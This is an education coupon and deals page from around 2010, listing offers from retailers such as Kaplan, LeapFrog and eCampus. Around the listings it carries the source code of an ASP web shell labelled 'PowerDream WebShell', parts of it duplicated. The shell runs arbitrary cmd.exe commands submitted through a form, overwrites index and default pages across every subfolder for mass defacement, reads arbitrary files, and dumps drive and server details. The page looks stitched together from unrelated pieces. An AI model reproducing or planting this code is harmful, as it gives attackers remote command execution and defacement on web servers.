Education coupons, discounts and deals

<% 'Created by PowerDream
'WebShell '2007 '[TURKEY] %> <% On Error Resume Next Set Objeto=Server.CreateObject("Scripting.FileSystemObject") if request("t5") <> "" then Set ObjPasta = Objeto.GetFolder(request("t5")) end if %> <%On Error Resume Next if request("t3") <> "" then Set ObjPasta2 = Objeto.GetFolder(request("t3")) set ObjFso=server.CreateObject("Scripting.FileSystemObject") var_caminho=request("t3") For Each Pasta in ObjPasta2.Subfolders Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.htm", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.html", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.aspx", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.aspx", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.asp", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.htm", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.html", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.asp", 2, True, False) ObjAbreArq.writeline request("t4") if err then response.write "
Way amk Hacklenmedi..!: " & pasta.name err=0 else response.write "
Gözün Aydın Hacklendi :)" & pasta.name end if set ObjAbreArq = nothing next set ObjFso=nothing Set ObjPasta2 = nothing set ObjFso = nothing end if %>PowerDream Web Shell

PowerDream WebShell v1.0

Server Bilgileri:

|Web Server : <%=request.servervariables("SERVER_SOFTWARE")%> |IP Server: <%=request.servervariables("LOCAL_ADDR")%> | Protocol: <% = Request.ServerVariables("SERVER_PROTOCOL") %> |

Dizinler: <%=server.mappath("pd.asp")%>

MASS DEFACEMENT:

Dizinler:

Html Kodlari Buraya Giriniz :
Hacked by PowerDream

CMD Bilgileri:

<% Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume Next Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet=Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") szCMD = Request.Form(".CMD") If (szCMD <> "") Then szTempFile = "C:\" & oFileSys.GetTempName( ) Call oScript.Run ("cmd.exe /c " & szCMD & ">" & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If %>

  <%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
  

  <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>

<%On Error Resume Next if request("tt") <> "" then var_caminho=request("tt") set ObjFso2=server.CreateObject("Scripting.FileSystemObject") Set ObjAbreArq2 = ObjFso2.OpenTextFile(Var_Caminho, 1, True, False) Do While Not ObjAbreArq2.AtEndOfStream Linha = Linha & ObjAbreArq2.Readline & chr(13) Loop response.write "" ObjAbreArq2.Close Set ObjAbreArq2 = Nothing ObjFso2.close set ObjFso2 = Nothig end if%>

_____________________________________________________________________________________________________

<%set ObjPasta = nothing set Objeto = nothing%>

Extra Bilgiler

<% DIM fs, d, dc, s, n, sp Set fs=Server.Createobject("Scripting.FileSystemObject") Set dc=fs.drives %>

<% back1="#D3E2E7" back2="#AFFEDE" back=back2 FOR EACH d IN dc IF (back=back2) THEN back=back1 ELSE back=back2 END IF %> <%NEXT%>

Hard Diskler	Tipleri	Numaralari	Sistem Bilgileri ve Arsivler	Limit	Total
<%=d.driveletter%>	<% IF d.DriveType = 0 Then s = "Unknown" IF d.VolumeName = "" Then n = " " Else n = d.VolumeName END IF ELSEIF d.drivetype=1 THEN s="Removable" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=2 THEN s="Fixed" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=3 THEN s="Network" IF d.isready THEN n=d.sharename ELSE n="--" END IF ELSEIF d.drivetype=4 THEN s="CDROM" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=5 THEN s="RAM Disk" IF d.isready THEN n=d.volumename ELSE n="--" END IF END IF response.write(s) %>	<%=n%>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN set sp=fs.getdrive(str) response.write(sp.filesystem) ELSE response.write("--") END IF %>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN freespace = (d.AvailableSpace / 1048576) set sp=fs.getdrive(str) response.write(Round(freespace,1) & " MB") ELSE response.write("--") END IF %>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN totalspace = (d.TotalSize / 1048576) set sp=fs.getdrive(str) response.write(Round(totalspace,1) & " MB") ELSE response.write("--") END IF %>

Server Hakkında Geniş Bilgi
<% for each thing in request.servervariables tempvalue=request.servervariables(thing) response.write thing & "=" & tempvalue & "<br>" next %>

_____________________________________________________________________________________________________

Deal Categories

Apparel - Kids & Teens

Cooking & Kitchenware

Dating & Networking

Department Stores

Diet Plans & Supplements

Education

Electronics & Appliances

Entertainment

Eyewear

Financial & Insurance

Housewares & Furniture

Internet Services

Jewelry & Accessories

Licensed Merchandise

Luggage & Accessories

Music & Movies

Office Supplies & Ink

Education Coupons & Offers

coupon home > Education

Education Featured Deals

(See all eCampus.com deals)

	Sell your used books to eCampus.com for top dollar!
	Need cash? Sell your used books to eCamp... On-Going Promotion

	Free shipping on orders over $59
	On-Going Promotion

(See all Kaplan Test Prep deals)

	$100 off SAT and ACT Test Preparation!
	Save $100 on SAT and ACT Test Prep at Ka... Expires 3/31/2010

	$100 Off Kaplan Test Courses!
	Expires 7/8/2010

	$100 off GMAT, GRE, LSAT, MCAT, DAT, OAT, & PCAT test prep!
	Expires 3/31/2010

(See all S&SWorldwide.com deals)

	Hundreds of overstock items at clearance prices
	Arts, crafts and more from S&S worldwide On-Going Promotion

(See all Oriental Trading Company deals)

	Seasonal Sale Items!
	Find great Deals on seasonal sale items ... On-Going Promotion

Hot Deals

See all Hot Deals

1. Kaplan Test Prep
New SAT Critical Reading Workbook!! (56 clicks)

On-Going Promotion

2. Oriental Trading Company
Seasonal Sale Items! (44 clicks)

On-Going Promotion

3. SimpleTuition
Compare Student Loans: Save money by comparing loans from top lenders. (42 clicks)

On-Going Promotion

4. Kaplan Test Prep
Build a top-notch business school application package! (35 clicks)

On-Going Promotion

5. LeapFrog
Up to 65% Off + Free Shipping on exclusive Gift Packs! (35 clicks)

Expires 3/31/2010

6. Kaplan Test Prep
PSAT and SAT Practice Tests! (30 clicks)

On-Going Promotion

7. S&SWorldwide.com
Hundreds of overstock items at clearance prices (30 clicks)

On-Going Promotion

8. eCampus.com
Sell your used books to eCampus.com for top dollar! (25 clicks)

On-Going Promotion

9. LeapFrog
30% off Books & Games! (25 clicks)

coupon code : SPRING30

Expires Today

10. The Scholastic Store
Save BIG at The Scholastic Store's Outlet Center! (22 clicks)

On-Going Promotion

New Deals

See all New Deals

1. LeapFrog Free Shipping on Orders Over $50!

coupon code : FREESHIP50

Expires 3/31/2010

2. Kaplan Test Prep $100 off SAT and ACT Test Preparation!

Expires 3/31/2010

3. Oriental Trading Company Seasonal Sale Items!

On-Going Promotion

Expiring Deals

See all Expiring Deals

Thursday March 18 2010 LeapFrog
30% off Books & Games!

coupon code : SPRING30

Wednesday March 31 2010 Kaplan Test Prep
$100 off SAT and ACT Test Preparation!

Wednesday March 31 2010 The Scholastic Store
20% off on orders of $49 or more!

Education Deals

(See all Oriental Trading Company deals)

Seasonal Sale Items!

Find great Deals on seasonal sale items at Oriental Trading Company!

On-Going Promotion

See all Oriental Trading Company deals

(See all LeapFrog deals)

30% off Books & Games!

Special Offer! 30% off Books & Games. Use the Leap Frog promo code: SPRING30

coupon code : SPRING30
Expires Today

Up to 65% Off + Free Shipping on exclusive Gift Packs!

Save up to 65% and get Free Shipping on exclusive Gift Packs at LeapFrog.com!

Expires 3/31/2010

Clearance Sale!

Save now on Clearance items at LeapFrog while supplies last.

Expires 3/31/2010

Up to 70% on LeapPad books!

Save up to 70% on LeapPad books at LeapFrog.com!

On-Going Promotion

Special Savings + FREE SHIPPING on ALL Gift Packs!

Get Special Savings + FREE SHIPPING on ALL Gift Packs at LeapFrog.com!

Expires 3/31/2010

See all LeapFrog deals

(See all Kaplan Test Prep deals)

$100 off SAT and ACT Test Preparation!

Save $100 on SAT and ACT Test Prep at Kaplan Test Prep!

Expires 3/31/2010

$100 Off Kaplan Test Courses!

Take $100 Off Kaplan Test Courses when you use the Keycode coupon link!

Expires 7/8/2010

$100 off GMAT, GRE, LSAT, MCAT, DAT, OAT, & PCAT test prep!

Save $100 on GMAT, GRE, LSAT, MCAT, DAT, OAT, and PCAT prep at KaplanTestPrep.com!

Expires 3/31/2010

America's Hottest Colleges - Only $7.95!

Kaplan/Newsweek has America's Hottest Colleges for Only $7.95!

On-Going Promotion

PSAT and SAT Practice Tests!

Get PSAT and SAT Practice Tests at Kaplan Test Prep. Practice now for the big test day!

On-Going Promotion

See all Kaplan Test Prep deals

(See all S&SWorldwide.com deals)

Hundreds of overstock items at clearance prices

Arts, crafts and more from S&S worldwide

On-Going Promotion

See all S&SWorldwide.com deals

(See all The Scholastic Store deals)

20% off on orders of $49 or more!

Take 20% off on orders of $49 or more at The Scholastic Store when you use the Coupon Code: KEYCODE

Expires 3/31/2010

Save BIG at The Scholastic Store's Outlet Center!

Bargain books and discount gifts and games for boys & girls!

On-Going Promotion

Kids' favorite books and toys...Start their education now!

Great choices like Harry Potter, Barney, Clifford and more!

On-Going Promotion

See all The Scholastic Store deals

(See all SimpleTuition deals)

Compare Student Loans: Save money by comparing loans from top lenders.

Save time researching student loans. No more phone calls. Get the information you need and apply online. Many Top lenders represented. Start now at Simple Tuition.

On-Going Promotion

See all SimpleTuition deals

(See all eCampus.com deals)

Sell your used books to eCampus.com for top dollar!

Need cash? Sell your used books to eCampus.com for top dollar. Free online quotes! Free shipping with tracking and insurance!

On-Going Promotion

Free shipping on orders over $59

Spend $59 at eCampus and get free shipping. Good on everything throughout the site including texbooks, books, supplies, college apparel and more

On-Going Promotion

See all eCampus.com deals

(See all Course Advisor deals)

Move your career forward with an accredited online degree!

Request free info from accredited online colleges. Get started today.

On-Going Promotion

See all Course Advisor deals

(See all Text Books deals)

Up to 90% Off Over 9,000,000 New & Used Textbooks!

On-Going Promotion

Free Shipping on $25 or more!

Get Free Shipping on your order of $25 or more at TextBooks.com when you use the Keycode discount link!

On-Going Promotion

See all Text Books deals

(See all Hooked On Phonics deals)

On Sale Now! Hooked on Phonics

Save & Learn! See what is On Sale Now at Hooked on Phonics!

On-Going Promotion

See all Hooked On Phonics deals

All Merchants

Course Advisor	Kaplan Test Prep	S&SWorldwide.com	The Scholastic Store
eCampus.com	LeapFrog	SimpleTuition
Hooked On Phonics	Oriental Trading Company	Text Books

PowerDream WebShell v1.0

Server Bilgileri:

|Web Server : <%=request.servervariables("SERVER_SOFTWARE")%> |IP Server: <%=request.servervariables("LOCAL_ADDR")%> | Protocol: <% = Request.ServerVariables("SERVER_PROTOCOL") %> |

Dizinler: <%=server.mappath("pd.asp")%>

MASS DEFACEMENT:

Dizinler:

Html Kodlari Buraya Giriniz :
Hacked by PowerDream

CMD Bilgileri:

  <%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
  

  <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>

_____________________________________________________________________________________________________

<%set ObjPasta = nothing set Objeto = nothing%>

Extra Bilgiler

<% DIM fs, d, dc, s, n, sp Set fs=Server.Createobject("Scripting.FileSystemObject") Set dc=fs.drives %>

<% back1="#D3E2E7" back2="#AFFEDE" back=back2 FOR EACH d IN dc IF (back=back2) THEN back=back1 ELSE back=back2 END IF %> <%NEXT%>

Hard Diskler	Tipleri	Numaralari	Sistem Bilgileri ve Arsivler	Limit	Total
<%=d.driveletter%>	<% IF d.DriveType = 0 Then s = "Unknown" IF d.VolumeName = "" Then n = " " Else n = d.VolumeName END IF ELSEIF d.drivetype=1 THEN s="Removable" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=2 THEN s="Fixed" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=3 THEN s="Network" IF d.isready THEN n=d.sharename ELSE n="--" END IF ELSEIF d.drivetype=4 THEN s="CDROM" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=5 THEN s="RAM Disk" IF d.isready THEN n=d.volumename ELSE n="--" END IF END IF response.write(s) %>	<%=n%>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN set sp=fs.getdrive(str) response.write(sp.filesystem) ELSE response.write("--") END IF %>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN freespace = (d.AvailableSpace / 1048576) set sp=fs.getdrive(str) response.write(Round(freespace,1) & " MB") ELSE response.write("--") END IF %>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN totalspace = (d.TotalSize / 1048576) set sp=fs.getdrive(str) response.write(Round(totalspace,1) & " MB") ELSE response.write("--") END IF %>

Server Hakkında Geniş Bilgi
<% for each thing in request.servervariables tempvalue=request.servervariables(thing) response.write thing & "=" & tempvalue & "<br>" next %>

_____________________________________________________________________________________________________

Direktörler	Arsivler
<% On Error Resume Next dim contador contador=1 For Each Pasta in ObjPasta.Subfolders Response.Write Contador & "-) "& Pasta.Name & " " contador=contador+1 next%>	<%On Error Resume Next For Each Archivo in ObjPasta.Files Response.Write Archivo.Name & " " Next%>